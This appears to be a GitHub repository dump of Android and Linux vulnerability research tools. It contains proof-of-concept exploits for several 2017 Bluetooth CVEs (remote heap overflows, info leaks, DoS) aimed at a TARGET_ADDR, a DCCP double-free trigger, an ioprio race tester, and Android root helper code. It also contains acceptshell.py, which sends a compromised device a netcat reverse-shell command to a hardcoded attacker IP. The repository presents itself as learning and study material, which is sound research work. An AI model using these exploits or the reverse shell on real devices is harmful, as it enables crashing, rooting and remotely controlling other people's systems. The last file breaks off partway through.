├── CVE_2017_6074 ├── test └── dccp_POC.c ├── android_root ├── aliroot_B │ ├── ImageB │ ├── Android.mk │ └── 2.c ├── root_utils │ ├── Android.mk │ ├── get_root.h │ └── get_root.c └── cve-2015-3636 │ ├── Android.mk │ └── exploit.c ├── bluetooth ├── CVE-2017-1000251 │ ├── README │ └── poc_remote_dos.c ├── CVE-2017-1000250 │ ├── README │ └── poc_remote_info_leak.c ├── CVE-2017-0785 │ ├── README │ └── poc_remote_info_leak_android.c ├── CVE-2017-0781 │ ├── README │ └── CVE-2017-0781.c ├── CVE-2017-0782 │ ├── README │ └── CVE-2017-0782-PoC.c └── exploit │ ├── dev_config.h │ ├── acceptshell.py │ └── exp.c ├── README.md ├── pixel_c_image └── get_image.py ├── syms2idc └── syms2idc.py └── tmp ├── fuck.c └── exploit.c /CVE_2017_6074/test: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /android_root/aliroot_B/ImageB: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/marsyy/littl_tools/HEAD/android_root/aliroot_B/ImageB -------------------------------------------------------------------------------- /bluetooth/CVE-2017-1000251/README: -------------------------------------------------------------------------------- 1 | 2 | remote crash most linux devices with bluetooth open 3 | 4 | ***Only for linux devices*** 5 | usage: 6 | $ gcc -o test poc_remote_dos.c -lbluetooth 7 | $ sudo ./test TARGET_ADDR 8 | -------------------------------------------------------------------------------- /bluetooth/CVE-2017-1000250/README: -------------------------------------------------------------------------------- 1 | remote leak heap data from linux devices with bluetooth open 2 | 3 | ***Only for linux devices*** 4 | usage: 5 | $ gcc -o test poc_remote_info_leak.c -lbluetooth 6 | $ sudo ./test TARGET_ADDR LEAK_OFFSET 7 | -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0785/README: -------------------------------------------------------------------------------- 1 | emote leak stack data from android devices with bluetooth open 2 | 3 | ***Only for android devices*** 4 | usage: 5 | $ gcc -o test poc_remote_info_leak_android.c -lbluetooth 6 | $ sudo ./test TARGET_ADDR LEAK_COUNT 7 | -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0781/README: -------------------------------------------------------------------------------- 1 | remote heap overflow for android devices with bluetooth open 2 | PoC for CVE-2017-0781 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o test CVE-2017-0781.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR 9 | ***/ 10 | -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0782/README: -------------------------------------------------------------------------------- 1 | remote heap overflow for android devices with bluetooth open 2 | PoC for CVE-2017-0782 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o test CVE-2017-0782-PoC.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR 9 | ***/ 10 | -------------------------------------------------------------------------------- /bluetooth/exploit/dev_config.h: -------------------------------------------------------------------------------- 1 | #ifndef __DEF_CONFIG_H__ 2 | #define __DEF_CONFIG_H__ 3 | struct dev_config { 4 | char *dev_name; 5 | char *build_number; 6 | int libc_base_offset; 7 | int libc_system_offset; 8 | int libbluetooth_bss_offset; 9 | int libbluetooth_bss_name_offset; 10 | }; 11 | 12 | 13 | struct dev_config dev_list[] = { 14 | {"Nexus6p", "N2G47O", 0x1a421, 0x45f80, 0xcac96, 0xc2ee1} 15 | }; 16 | 17 | #endif -------------------------------------------------------------------------------- /android_root/root_utils/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES := \ 5 | get_root.c 6 | 7 | LOCAL_C_INCLUDES := \ 8 | bionic \ 9 | 10 | ifeq ($(shell expr $(PLATFORM_SDK_VERSION) "<" 23), 1) 11 | LOCAL_SHARED_LIBRARIES += libstlport 12 | LOCAL_C_INCLUDES += \ 13 | bionic/libstdc++/include \ 14 | external/stlport/stlport 15 | endif 16 | 17 | LOCAL_MODULE := get_root 18 | 19 | include $(BUILD_STATIC_LIBRARY) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # littl_tools 2 | ### some little tools to make worker easyer 3 | 4 | ## syms2idc.py 5 | - make a idc file for IDA to get kernel symbols form kallsyms 6 | - usage:./syms2idc.py \ \ 7 | 8 | 9 | ## android_root 10 | - easy root code for android root learning 11 | 12 | ## pixel_c_image 13 | - get Image from Image.fit for pixel C 14 | - usage: ./get_image.py \ \ 15 | 16 | 17 | ## bluetooth 18 | - bluetooth vulnerability study -------------------------------------------------------------------------------- /android_root/aliroot_B/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES:= \ 5 | 2.c \ 6 | 7 | 8 | LOCAL_SHARED_LIBRARIES := \ 9 | liblog \ 10 | 11 | LOCAL_STATIC_LIBRARIES := get_root\ 12 | 13 | LOCAL_C_INCLUDES := \ 14 | $(LOCAL_PATH)/../root_utils \ 15 | $(LOCAL_PATH)/ \ 16 | bionic \ 17 | 18 | ifeq ($(shell expr $(PLATFORM_SDK_VERSION) "<" 23), 1) 19 | LOCAL_SHARED_LIBRARIES += libstlport 20 | LOCAL_C_INCLUDES += \ 21 | bionic/libstdc++/include \ 22 | external/stlport/stlport 23 | endif 24 | 25 | LOCAL_C_INCLUDES += \ 26 | 27 | LOCAL_MODULE:= testB 28 | 29 | include $(BUILD_EXECUTABLE) -------------------------------------------------------------------------------- /android_root/cve-2015-3636/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES:= \ 5 | exploit.c \ 6 | 7 | 8 | LOCAL_SHARED_LIBRARIES := \ 9 | liblog \ 10 | 11 | LOCAL_STATIC_LIBRARIES := get_root\ 12 | 13 | LOCAL_C_INCLUDES := \ 14 | $(LOCAL_PATH)/../root_utils \ 15 | $(LOCAL_PATH)/ \ 16 | bionic \ 17 | 18 | ifeq ($(shell expr $(PLATFORM_SDK_VERSION) "<" 23), 1) 19 | LOCAL_SHARED_LIBRARIES += libstlport 20 | LOCAL_C_INCLUDES += \ 21 | bionic/libstdc++/include \ 22 | external/stlport/stlport 23 | endif 24 | 25 | LOCAL_C_INCLUDES += \ 26 | 27 | LOCAL_MODULE:= exp 28 | 29 | include $(BUILD_EXECUTABLE) -------------------------------------------------------------------------------- /pixel_c_image/get_image.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | import struct 4 | import lz4.frame 5 | from optparse import OptionParser 6 | 7 | 8 | 9 | def get_lz4_file(Image_fit): 10 | with open(Image_fit, "r") as fit_fp: 11 | fit_fp.read(0xB0) 12 | kernel_lenth = struct.unpack(">I", fit_fp.read(4))[0] 13 | fit_fp.read(4) 14 | lz4_file = fit_fp.read(kernel_lenth) 15 | return lz4_file 16 | 17 | 18 | def get_image(Image_fit, Image): 19 | lz4_file = get_lz4_file(Image_fit) 20 | Image_file = lz4.frame.decompress(lz4_file) 21 | 22 | with open(Image, "w") as Image_fp: 23 | Image_fp.write(Image_file) 24 | 25 | 26 | def main(): 27 | parser = OptionParser(usage='usage:get_image ') 28 | (options,args) = parser.parse_args() 29 | if len(args) < 2: 30 | parser.error("incorrect number of arguments") 31 | get_image(args[0],args[1]) 32 | 33 | if __name__ == "__main__": 34 | main() 35 | -------------------------------------------------------------------------------- /syms2idc/syms2idc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | from optparse import OptionParser 4 | 5 | 6 | 7 | def syms2idc(in_file,out_file): 8 | idc_header = "#include \n" 9 | idc_header+="static main()\n" 10 | idc_header+="{\n" 11 | idc_body = "" 12 | idc_foot = "\n}" 13 | tmp = "" 14 | try: 15 | f_in = open(in_file,"r") 16 | f_out = open(out_file,"w") 17 | except IOError,e: 18 | print e 19 | try: 20 | for line in f_in: 21 | data_list = line.split() 22 | tmp = "\tMakeNameEx(0x%s,\"%s\",0);\n"%(data_list[0],data_list[2]) 23 | idc_body+=tmp 24 | if 't' in data_list[1] or 'T' in data_list[1]: 25 | tmp = "\tMakeFunction(0x%s,BADADDR);\n"%(data_list[0]) 26 | idc_body+=tmp 27 | f_out.write(idc_header+idc_body+idc_foot) 28 | except IOError,e: 29 | print e 30 | finally: 31 | f_in.close() 32 | f_out.close() 33 | 34 | 35 | 36 | def main(): 37 | parser = OptionParser(usage='usage:syms2idc ') 38 | (options,args) = parser.parse_args() 39 | if len(args) < 2: 40 | parser.error("incorrect number of arguments") 41 | syms2idc(args[0],args[1]) 42 | 43 | if __name__ == "__main__": 44 | main() 45 | -------------------------------------------------------------------------------- /android_root/root_utils/get_root.h: -------------------------------------------------------------------------------- 1 | #ifndef _GET_ROOT_H 2 | #define _GET_ROOT_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct cred; 10 | struct task_struct; 11 | struct thread_info_head; 12 | 13 | struct kernel_cap_struct { 14 | unsigned int cap[2]; 15 | }; 16 | 17 | struct cred { 18 | unsigned int usage; 19 | uid_t uid; 20 | gid_t gid; 21 | uid_t suid; 22 | gid_t sgid; 23 | uid_t euid; 24 | gid_t egid; 25 | uid_t fsuid; 26 | gid_t fsgid; 27 | unsigned int securebits; 28 | struct kernel_cap_struct cap_inheritable; 29 | struct kernel_cap_struct cap_permitted; 30 | struct kernel_cap_struct cap_effective; 31 | struct kernel_cap_struct cap_bset; 32 | /* ... */ 33 | }; 34 | 35 | struct list_head { 36 | struct list_head *next; 37 | struct list_head *prev; 38 | }; 39 | 40 | struct task_security_struct { 41 | unsigned long osid; 42 | unsigned long sid; 43 | unsigned long exec_sid; 44 | unsigned long create_sid; 45 | unsigned long keycreate_sid; 46 | unsigned long sockcreate_sid; 47 | }; 48 | 49 | 50 | struct task_struct { 51 | struct list_head cpu_timers[3]; 52 | struct cred *real_cred; 53 | struct cred *cred; 54 | struct cred *replacement_session_keyring; 55 | char comm[16]; 56 | }; 57 | 58 | struct thread_info_head{ 59 | unsigned long flags; /* low level flags */ 60 | #ifndef __aarch64__ 61 | int preempt_count; 62 | #endif 63 | unsigned long addr_limit; /* address limit */ 64 | struct task_struct *task; /* main task structure */ 65 | }; 66 | 67 | extern int get_root_after_addrlimit_patched(void *_thread_info); 68 | 69 | extern void* compute_physmap(void *usr_addr); 70 | 71 | extern int patch_selinux_by_change_switch(void *selinux_enforcing,void *selinux_enabled); 72 | 73 | #endif -------------------------------------------------------------------------------- /bluetooth/exploit/acceptshell.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import socket 5 | import struct 6 | import select 7 | import threading 8 | import subprocess 9 | 10 | from pwn import tubes, log 11 | 12 | NC_PORT = 7777 13 | STDIN_PORT = 4444 14 | STDOUT_PORT = 4445 15 | PWNING_TIMEOUT = 60 16 | my_ip = "10.18.25.28" 17 | 18 | def create_sockets(nc_port, stdin_port, stdout_port): 19 | sh_s = socket.socket() 20 | sh_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 21 | sh_s.bind(('', nc_port)) 22 | sh_s.listen(5) 23 | 24 | stdin = socket.socket() 25 | stdin.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 26 | stdin.bind(('', stdin_port)) 27 | stdin.listen(5) 28 | 29 | stdout = socket.socket() 30 | stdout.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | stdout.bind(('', stdout_port)) 32 | stdout.listen(5) 33 | 34 | return sh_s, stdin, stdout 35 | 36 | 37 | def interactive_shell(sh_s, stdin_s, stdout_s, my_ip, stdin_port, stdout_port): 38 | sh_fd, (client_ip, _) = sh_s.accept() 39 | 40 | log.info('Connect form %s. Sending commands. Shell:' % (client_ip,)) 41 | sh_fd.sendall(''' 42 | exec 1>/dev/null 2>/dev/null 43 | toybox nc {ip} {stdin} | sh -i 2>&1 | toybox nc {ip} {stdout} 44 | '''.format(ip=my_ip, stdin=stdin_port, stdout=stdout_port)) 45 | sh_fd.close() 46 | 47 | stdin, _ = stdin_s.accept() 48 | stdout, _ = stdout_s.accept() 49 | 50 | # VOODOO - maybe this somehow helps Android not to kill our sockets 51 | def keepalive1(): 52 | while True: 53 | stdout.send('a') 54 | time.sleep(1) 55 | t1 = threading.Thread(target=keepalive1) 56 | t1.daemon = True 57 | t1.start() 58 | def keepalive2(): 59 | while True: 60 | stdin.recv(1024) 61 | time.sleep(1) 62 | t2 = threading.Thread(target=keepalive2) 63 | t2.daemon = True 64 | t2.start() 65 | 66 | def command_proxy(send_cb): 67 | def send_wrapper(data): 68 | return send_cb(data) 69 | return send_wrapper 70 | 71 | a = tubes.remote.remote.fromsocket(stdin) 72 | b = tubes.remote.remote.fromsocket(stdout) 73 | c = tubes.tube.tube() 74 | c.recv_raw = b.recv 75 | c.send_raw = command_proxy(a.send) 76 | c.interactive() 77 | 78 | while True: 79 | readable, _, _ = select.select([sys.stdin.buffer, stdout], [], []) 80 | for fd in readable: 81 | if fd is stdout: 82 | sys.stdout.buffer.write(stdout.recv(1024)) 83 | sys.stdout.buffer.flush() 84 | else: 85 | stdin.sendall(os.read(sys.stdin.fileno(), 1024)) 86 | 87 | sh_s, stdin, stdout = create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT) 88 | print "start listen..." 89 | readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT) 90 | if readable: 91 | print 'Done' 92 | 93 | interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT) 94 | -------------------------------------------------------------------------------- /CVE_2017_6074/dccp_POC.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | reboot if we get bind error 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #ifndef SOCK_DCCP 20 | #define SOCK_DCCP 6 21 | #endif 22 | 23 | #ifndef IPPROTO_DCCP 24 | #define IPPROTO_DCCP 33 25 | #endif 26 | 27 | #ifndef SOL_DCCP 28 | #define SOL_DCCP 269 29 | #endif 30 | 31 | #define IPV6_RECVPKTINFO 49 32 | 33 | #define DCCP_PORT 9999 34 | 35 | 36 | int child_main(){ 37 | int fd; 38 | int ret; 39 | int status; 40 | int on = 1; 41 | int buf[100]; 42 | int optval = 1; 43 | 44 | fd = socket(AF_INET6,SOCK_DCCP,IPPROTO_DCCP); 45 | if(fd == -1){ 46 | perror("child socket"); 47 | return -1; 48 | } 49 | struct sockaddr_in6 target_addr; 50 | memset(&target_addr,0,sizeof(target_addr)); 51 | target_addr.sin6_family = AF_INET6; 52 | target_addr.sin6_port = htons(DCCP_PORT); 53 | 54 | char *target = "0:0:0:0:0:0:0:1"; 55 | inet_pton(AF_INET6,target,&target_addr.sin6_addr); 56 | 57 | ret = setsockopt(fd, SOL_DCCP, SO_REUSEADDR, (const char *) &on, sizeof(on)); 58 | if(ret == -1){ 59 | perror("child setsockopt 1"); 60 | } 61 | 62 | ret = setsockopt(fd,SOL_IPV6,IPV6_RECVPKTINFO,&optval,sizeof(optval)); 63 | if(ret == -1){ 64 | perror("child setsockopt 2"); 65 | } 66 | 67 | ret = connect(fd,(struct sockaddr *)&target_addr,sizeof(target_addr)); 68 | if(ret == -1){ 69 | perror("child connect "); 70 | } 71 | else{ 72 | do{ 73 | status = send(fd,buf,30,0); 74 | }while((status < 0) && (errno == EAGAIN)); 75 | } 76 | 77 | close(fd); 78 | return 0; 79 | 80 | } 81 | 82 | int father_main(){ 83 | int fd; 84 | int ret; 85 | 86 | int on = 1; 87 | int optval = 1; 88 | int recv_buf[100]; 89 | int client_fd; 90 | 91 | int pid = fork(); 92 | 93 | if(pid == 0){ 94 | 95 | usleep(100); 96 | child_main(); 97 | exit(0); 98 | } 99 | else{ 100 | 101 | if((fd = socket(AF_INET6,SOCK_DCCP,IPPROTO_DCCP)) == -1){ 102 | perror("socket"); 103 | return -1; 104 | } 105 | 106 | struct sockaddr_in6 addr , remout_addr; 107 | memset(&addr,0,sizeof(addr)); 108 | 109 | addr.sin6_family = AF_INET6; 110 | addr.sin6_port = htons(DCCP_PORT); 111 | addr.sin6_addr = in6addr_any; 112 | 113 | 114 | ret = setsockopt(fd, SOL_DCCP, SO_REUSEADDR, (const char *) &on, sizeof(on)); 115 | if(ret == -1){ 116 | perror("setsockopt 1"); 117 | } 118 | 119 | ret = setsockopt(fd,SOL_IPV6,IPV6_RECVPKTINFO,&optval,sizeof(optval)); 120 | if(ret == -1){ 121 | perror("setsockopt 2"); 122 | } 123 | 124 | ret = bind(fd,(struct sockaddr *)&addr,sizeof(addr)); 125 | if(ret == -1){ 126 | perror("bind"); 127 | } 128 | 129 | ret = listen(fd,2); 130 | if(ret == -1){ 131 | perror("listen"); 132 | } 133 | 134 | 135 | client_fd = accept(fd,(struct sockaddr *)&remout_addr,0);//fack addr 136 | 137 | close(fd); 138 | } 139 | waitpid(pid,NULL,0); 140 | return 0; 141 | } 142 | 143 | int main(){ 144 | int i; 145 | for(i=0; i<100; i++){ 146 | printf("."); 147 | father_main(); 148 | } 149 | return 0; 150 | } 151 | -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0781/CVE-2017-0781.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o test CVE-2017-0781.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR 9 | ***/ 10 | 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define __u8 unsigned char 24 | #define __le16 unsigned short 25 | #define __le32 unsigned int 26 | #define __u16 unsigned short 27 | 28 | 29 | static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) { 30 | int ret; 31 | struct l2cap_options option_arg; 32 | socklen_t len ; 33 | memset(&option_arg, 0 ,sizeof(option_arg)); 34 | 35 | ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len); 36 | if(ret == -1){ 37 | perror("[-]getsockopt failed : "); 38 | return -1; 39 | } 40 | 41 | option_arg.imtu = imtu; 42 | option_arg.omtu = omtu; 43 | 44 | ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg)); 45 | if(ret == -1){ 46 | perror("[-]setsockopt failed : "); 47 | return -1; 48 | } 49 | return 0; 50 | } 51 | #define BNEP_FRAME_CONTROL 0x01 52 | #define BNEP_SETUP_CONNECTION_REQUEST_MSG 0x01 53 | static int parse_fack_bnep_req(void *buffer, int data_len, void *data){ 54 | __u8 type = BNEP_FRAME_CONTROL; 55 | __u8 extension_present = 1; 56 | __u8 ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG; 57 | __u8 len = 2; 58 | 59 | type = (extension_present << 7) | type; 60 | 61 | memcpy(buffer, &type, 1); 62 | memcpy(buffer + 1, &ctrl_type, 1); 63 | memcpy(buffer + 2, &len, 1); 64 | memcpy(buffer + 3, data, data_len); 65 | 66 | return data_len + 3; 67 | } 68 | 69 | 70 | static int send_bnep_req(int sock_fd) { 71 | void *buffer; 72 | int total_len; 73 | buffer = malloc(0x100); 74 | memset(buffer, 0, 0x100); 75 | 76 | total_len = parse_fack_bnep_req(buffer, 0x20+4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 77 | 78 | send(sock_fd, buffer, total_len, 0); 79 | } 80 | 81 | int main(int argc ,char* argv[]){ 82 | int sock_fd, ret; 83 | int i; 84 | __le16 cont_offset; 85 | void *buf, *data, *recv_buf; 86 | int leak_req_count; 87 | char dest[18]; 88 | struct sockaddr_l2 local_l2_addr; 89 | struct sockaddr_l2 remote_l2_addr; 90 | int retry_count = 20; 91 | if(argc != 2){ 92 | printf("usage : sudo ./test TARGET_ADDR\n"); 93 | return -1; 94 | } 95 | strncpy(dest, argv[1], 18); 96 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 97 | //char dest[18] = "dc:a9:04:86:45:cc"; // macbookpro 98 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux 99 | // = "00:1a:7d:da:71:13"; //panyu 100 | while(retry_count-- > 0){ 101 | 102 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 103 | if(sock_fd == -1){ 104 | perror("[-]socket create failed : "); 105 | return -1; 106 | } 107 | 108 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 109 | local_l2_addr.l2_family = PF_BLUETOOTH; 110 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 111 | 112 | 113 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 114 | if(ret == -1){ 115 | perror("[-]bind()"); 116 | goto next; 117 | } 118 | 119 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 120 | remote_l2_addr.l2_family = PF_BLUETOOTH; 121 | remote_l2_addr.l2_psm = htobs(0xF); 122 | str2ba(dest, &remote_l2_addr.l2_bdaddr); 123 | 124 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 125 | perror("[-]Can't connect"); 126 | if(errno == 110) 127 | goto vul; 128 | goto next; 129 | } 130 | 131 | sleep(1); 132 | for(i = 0; i < 100; i++) 133 | send_bnep_req(sock_fd); 134 | next: 135 | close(sock_fd); 136 | } 137 | printf("[+]maybe not vulnerable\n"); 138 | return 0; 139 | vul: 140 | close(sock_fd); 141 | printf("[+]device is vulnerable\n"); 142 | return 0; 143 | } -------------------------------------------------------------------------------- /tmp/fuck.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define FORK_EXIT_CHILD 3 14 | #define GET_IOPRIO_CHILD 3 15 | #define FACK_IOPRIO_CHILD 2 16 | #define TIMEOUT 200 17 | enum { 18 | IOPRIO_CLASS_NONE, 19 | IOPRIO_CLASS_RT, 20 | IOPRIO_CLASS_BE, 21 | IOPRIO_CLASS_IDLE, 22 | }; 23 | 24 | enum { 25 | IOPRIO_WHO_PROCESS = 1, 26 | IOPRIO_WHO_PGRP, 27 | IOPRIO_WHO_USER, 28 | }; 29 | 30 | 31 | enum { 32 | FORK_EXIT_LOOP, 33 | GET_IOPRIO_LOOP, 34 | FACK_IOPRIO_LOOP, 35 | }; 36 | int read_fd; 37 | int write_fd; 38 | 39 | #define change_pgid() setpgid(getpid(),0) 40 | 41 | static int _ioprio_set(int which, int who, int prio ){ 42 | return syscall(__NR_ioprio_set,which,who,prio); 43 | } 44 | 45 | static int _ioprio_get(int which ,int who){ 46 | return syscall(__NR_ioprio_get,which,who); 47 | } 48 | 49 | // one child : fork and exit 50 | // one child : get 51 | // one child : change pgid --> fork and exit 52 | 53 | 54 | static void fork_exit_loop(){ 55 | int pid; 56 | int ret; 57 | for(;;){ 58 | pid = fork(); 59 | if(pid == 0){ 60 | exit(0); 61 | }else{ 62 | waitpid(pid,NULL,0); 63 | //assert(ret == pid); 64 | } 65 | } 66 | exit(0); 67 | } 68 | 69 | static void get_ioprio_loop(){ 70 | int prio; 71 | int OK = 1; 72 | time_t time_start = time(NULL),time_end; 73 | for(;;){ 74 | prio = _ioprio_get(IOPRIO_WHO_PGRP,0); 75 | //printf("child prio : %x\n",prio); 76 | if(prio != 0x6000 && prio !=4){ //&& prio != 0){ 77 | time_end = time(NULL); 78 | printf("%d %d\n",prio,time_end-time_start); 79 | write(write_fd,&OK,sizeof(OK)); 80 | } 81 | //usleep(100); 82 | } 83 | exit(0); 84 | } 85 | 86 | static void fack_ioprio_loop(){ 87 | int pid; 88 | int ret = change_pgid(); 89 | if(ret == -1){ 90 | perror("fack_ioprio_loop"); 91 | } 92 | _ioprio_set(IOPRIO_WHO_PROCESS,0,0x4000); 93 | for(;;){ 94 | ret = _ioprio_get(IOPRIO_WHO_PGRP,0); 95 | if(ret != 0x4000){ 96 | printf("fack: %d\n",ret); 97 | } 98 | pid = fork(); 99 | if(pid == 0){ 100 | exit(0); 101 | }else{ 102 | waitpid(pid,NULL,0); 103 | } 104 | } 105 | exit(0); 106 | } 107 | 108 | static void time_control(){ 109 | int count = 0; 110 | int FAIL = -1; 111 | for(;count < TIMEOUT;count++){ 112 | sleep(1); 113 | } 114 | write(write_fd,&FAIL,sizeof(FAIL)); 115 | exit(0); 116 | } 117 | 118 | static int fork_and_run(int flag){ 119 | int pid; 120 | pid = fork(); 121 | assert(pid != -1); 122 | if(pid == 0){ 123 | switch(flag){ 124 | case FORK_EXIT_LOOP : 125 | fork_exit_loop(); 126 | break; 127 | case GET_IOPRIO_LOOP : 128 | get_ioprio_loop(); 129 | break; 130 | case FACK_IOPRIO_LOOP : 131 | fack_ioprio_loop(); 132 | break; 133 | default: 134 | exit(0); 135 | } 136 | } 137 | return pid; 138 | } 139 | 140 | 141 | int main(){ 142 | int prio; 143 | int fork_exit_pid[FORK_EXIT_CHILD],get_ioprio_pid[GET_IOPRIO_CHILD],fack_ioprio_pid[FACK_IOPRIO_CHILD]; 144 | int pipe_fd[2]; 145 | int i,val; 146 | if(pipe(pipe_fd) == -1){ 147 | perror("pipe"); 148 | return -1; 149 | } 150 | read_fd = pipe_fd[0]; 151 | write_fd = pipe_fd[1]; 152 | _ioprio_set(IOPRIO_WHO_PROCESS,0,0x6000); 153 | 154 | for(i = 0; i < FORK_EXIT_CHILD; i++) 155 | fork_exit_pid[i] = fork_and_run(FORK_EXIT_LOOP); 156 | 157 | for(i = 0; i < GET_IOPRIO_CHILD; i++) 158 | get_ioprio_pid[i] = fork_and_run(GET_IOPRIO_LOOP); 159 | 160 | for(i = 0; i < FACK_IOPRIO_CHILD; i++) 161 | fack_ioprio_pid[i] = fork_and_run(FACK_IOPRIO_LOOP); 162 | 163 | if(fork()==0){ 164 | time_control(); 165 | } 166 | 167 | read(read_fd,&val,sizeof(val)); 168 | printf("read pipe %d\n",val); 169 | if(val == 1){ 170 | printf("done! vul\n"); 171 | }else if(val == -1){ 172 | printf("done! no vul\n"); 173 | } 174 | for(i = 0; i < FORK_EXIT_CHILD; i++) 175 | kill(fork_exit_pid[i],SIGKILL); 176 | 177 | for(i = 0; i < GET_IOPRIO_CHILD; i++) 178 | kill(get_ioprio_pid[i],SIGKILL); 179 | 180 | for(i = 0; i < FACK_IOPRIO_CHILD; i++) 181 | kill(fack_ioprio_pid[i],SIGKILL); 182 | sleep(1); 183 | close(read_fd); 184 | close(write_fd); 185 | return 0; 186 | } -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0782/CVE-2017-0782-PoC.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o test CVE-2017-0782-PoC.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR 9 | ***/ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define __u8 unsigned char 23 | #define __le16 unsigned short 24 | #define __le32 unsigned int 25 | #define __u16 unsigned short 26 | 27 | 28 | static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) { 29 | int ret; 30 | struct l2cap_options option_arg; 31 | socklen_t len ; 32 | memset(&option_arg, 0 ,sizeof(option_arg)); 33 | 34 | ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len); 35 | if(ret == -1){ 36 | perror("[-]getsockopt failed : "); 37 | return -1; 38 | } 39 | 40 | option_arg.imtu = imtu; 41 | option_arg.omtu = omtu; 42 | 43 | ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg)); 44 | if(ret == -1){ 45 | perror("[-]setsockopt failed : "); 46 | return -1; 47 | } 48 | return 0; 49 | } 50 | #define BNEP_FRAME_CONTROL 0x01 51 | #define BNEP_SETUP_CONNECTION_REQUEST_MSG 0x01 52 | #define BNEP_FRAME_COMPRESSED_ETHERNET 0x02 53 | 54 | static int parse_fack_bnep_req(void *buffer, int data_len, void *data){ 55 | __u8 type = BNEP_FRAME_COMPRESSED_ETHERNET; 56 | __u8 extension_present = 1; 57 | __u16 protocal = 0x1; 58 | __u8 ext_type = 0; 59 | __u8 ext_len; 60 | 61 | type = (extension_present << 7) | type; 62 | 63 | memcpy(buffer, &type, 1); 64 | memcpy(buffer + 1, &protocal, 2); 65 | memcpy(buffer + 3, &ext_type, 1); 66 | ext_len = data_len + 2; 67 | memcpy(buffer + 4, &ext_len, 1); 68 | memcpy(buffer + 5, data, data_len); 69 | 70 | return data_len + 4; 71 | } 72 | 73 | static int parse_correct_bnep_req(void *buffer, int data_len, void *data){ 74 | __u8 type = BNEP_FRAME_CONTROL; 75 | __u8 extension_present = 1; 76 | __u8 ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG; 77 | __u8 len = 2; 78 | 79 | type = (extension_present << 7) | type; 80 | 81 | memcpy(buffer, &type, 1); 82 | memcpy(buffer + 1, &ctrl_type, 1); 83 | memcpy(buffer + 2, &len, 1); 84 | memcpy(buffer + 3, data, data_len); 85 | 86 | return data_len + 3; 87 | } 88 | 89 | static int send_bnep_req(int sock_fd) { 90 | void *buffer; 91 | int total_len; 92 | buffer = malloc(0x100); 93 | memset(buffer, 0, 0x100); 94 | 95 | total_len = parse_fack_bnep_req(buffer, 0x8, 